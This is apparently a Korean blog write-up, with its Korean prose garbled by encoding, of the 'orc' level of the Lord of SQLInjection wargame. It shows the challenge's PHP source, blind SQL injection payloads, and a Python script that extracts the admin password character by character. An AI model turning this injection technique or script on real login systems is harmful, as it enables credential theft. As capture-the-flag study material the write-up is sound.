wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of SQLInjection

orc

Kortsec1 2022. 4. 2. 17:00
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

 

๊ธฐ์กด๊ณผ ๋น„์Šทํ•ด๋ณด์ด์ง€๋งŒ ๋งˆ์ง€๋ง‰๋ถ€๋ถ„์„ ๋ณด๋ฉด, ์‹ค์ œ ํŒจ์Šค์›Œ๋“œ์™€ ๋น„๊ตํ•˜๋Š” ๋ถ€๋ถ„์ด ์žˆ๋‹ค.

blind-sqli๋ฅผ ํ†ตํ•ด ํ•˜๋‚˜ํ•˜๋‚˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ฐพ์•„๋ณด๋ฉด ๋ ๊ฑฐ ๊ฐ™๋‹ค.

 

์šฐ์„ , pw๊ธธ์ด๋ฅผ ์ฐพ์•„๋ณด์ž

?pw=1' or id='admin' and length(pw)=0

id='admin'์—†์ด length(pw)=0๋งŒ ์žˆ๋‹ค๋ฉด, ๋‹ค๋ฅธ ๊ณ„์ •์˜ pw๊ฐ’๊ณผ๋„ ๋น„๊ต๋˜์–ด ์ด์ƒํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

0 ๋ถ€๋ถ„์„ ๋ฐ”๊ฟ”๊ฐ€๋ฉฐ ์ฐพ์•„๊ฐ€๋ฉด ์‹์ด ๋งˆ์ง€๋ง‰ and๋กœ ๋ฌถ์ธ ์‹์ด ์ฐธ์ด ๋˜์–ด, Hello admin์ด ์ถœ๋ ฅ๋ ๊ฒƒ์ด๋‹ค.

 

์ง์ ‘ ๋ฐ”๊ฟ”๊ฐ€๋ฉฐ ๋…ธ๊ฐ€๋‹ค๋ฅผ ํ•ด๋ณผ ์ˆ˜ ์žˆ๊ฒ ์ง€๋งŒ,

๋‚˜์ค‘์— pw ๋ฌธ์ž ํ•˜๋‚˜ํ•˜๋‚˜ ์ฐพ์œผ๋ ค๋ฉด ์ƒ๋‹นํžˆ ํž˜๋“ค๊ฒƒ์ด๋‹ค.

์ฐธ๊ณ ๋กœ ๋‚˜๋Š” ์–ด๋ ธ์„ ๋•Œ ์ˆ˜์ฒฉ์— ์ ์–ด๊ฐ€๋ฉฐ ํ•ด๋ณธ ๊ฒฝํ—˜์ด..

 

๊ทธ๋ฆฌํ•˜์—ฌ python requests๋ชจ๋“ˆ์„ ์ด์šฉํ•˜์—ฌ ๊ฐ„๋‹จํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค์–ด๋ณผ๊ฒƒ์ด๋‹ค.

 

import requests

cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}

print("find length of pw...")
for i in range(1,100):
    url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
    res = requests.get(url, cookies=cookies)
    print(str(i) + " ... ", end="")
    if "Hello admin" in res.text:
        len_pw = i
        print("0")
        print("================================")
        print("len : " + str(i))
        print("================================")
        print("\n")
        break
    else:
        print("X")

 

๋ณธ์ธ ์ฟ ํ‚ค๋ฅผ ๋„ฃ๊ณ , ์‹คํ–‰ํ•ด ๋ณด๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ์ž˜ ๋‚˜์˜ฌ๊ฒƒ์ด๋‹ค.

๊ทธ๋ฆผ1 ๊ธธ์ด ์ฐพ๊ธฐ

 

๊ธธ์ด๋Š” 8๊ธ€์ž์ž„์ด ํ™•์ธ๋˜์—ˆ๊ณ , ๋‹ค์Œ์€ ๋ฌธ์ž ํ•˜๋‚˜ํ•˜๋‚˜๋ฅผ ์ฐพ์•„๋ณด์ž.

 

substr, left, asciiํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ• ๊ฒƒ์ด๋‹ค

substrํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์„ ์ž˜๋ผ์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค.

ํ•˜์ง€๋งŒ, mysql substrํ•จ์ˆ˜๋Š” ๊ฐœ์ˆ˜๋ฅผ ์ง€์ •ํ•ด์ค„ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์—

์ž˜๋ผ์ค€ ๋’ค, leftํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ํ•œ ๋ฌธ์ž๋ฅผ ๋ฝ‘์•„๋‚ด์ž.

 

?pw=1' or id='admin' and ascii(left(substr(pw, 1), 1))=65

 

65๋ถ€๋ถ„๊ณผ  substrํ•จ์ˆ˜ ๋‘ ๋ฒˆ์งธ ์ธ์ž๋ฅผ ๋ฐ”๊ฟ”๊ฐ€๋ฉฐ ์ฐพ์•„๋ณด๋ฉด ๋ ๋“ฏ ์‹ถ๋‹ค.

+mysql ์—์„œ ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ž ์ž๋ฃŒํ˜•์€ ๋น„๊ต์‹œ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„์„ ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์ •ํ™•ํ•œ ๊ฐ’์„ ์œ„ํ•ด ascii 10์ง„์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ๋น„๊ตํ•˜๊ฒ ๋‹ค

 

import requests

cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}

print("finding length of pw...")
for i in range(1,100):
    url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
    res = requests.get(url, cookies=cookies)
    print(str(i) + " ... ", end="")
    if "Hello admin" in res.text:
        len_pw = i
        print("0")
        print("================================")
        print("len : " + str(i))
        print("================================")
        print("\n")
        break
    else:
        print("X")

full_pw = ""
print("finding full pw...")
for i in range(len_pw):
    for j in range(32, 127):
        url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and ascii(left(substr(pw,' + str(i+1) + '),1)) = ' + str(j) + '%23'
        res = requests.get(url, cookies=cookies)
        if "Hello admin" in res.text:
            full_pw += chr(j)
            break;
    print("pw : " + full_pw)
print("================================")
print("pw : " + full_pw)
print("================================")

 

์ฒ˜์Œ ๋งŒ๋“  ๊ธธ์ด ์ฝ”๋“œ์™€ ํ•ฉ์ณ์„œ ๊ทธ๋Ÿด์‹ธํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค์–ด๋ณด์ž..! ํ•ด์„œ ๊พธ๋ฉฐ๋ดค๋‹ค.

์‹คํ–‰ํ•˜๋ฉด admin pw์ •๋ณด๊ฐ€ ์˜ˆ์˜๊ฒŒ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ฆผ2 ํ”„๋กœ๊ทธ๋žจ ์™„์„ฑ

 

๋‚˜์˜จ ๊ฐ’์„ pw๋กœ ์ „๋‹ฌํ•ด์ฃผ๋ฉด, ํ’€๋ฆฌ๊ฒŒ๋œ๋‹ค.

 

๊ทธ๋ฆผ3 ์„ฑ๊ณต

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of SQLInjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

darkelf  (0) 2022.04.02
wolfman  (0) 2022.04.02
goblin  (0) 2022.04.02
cobolt  (0) 2022.04.02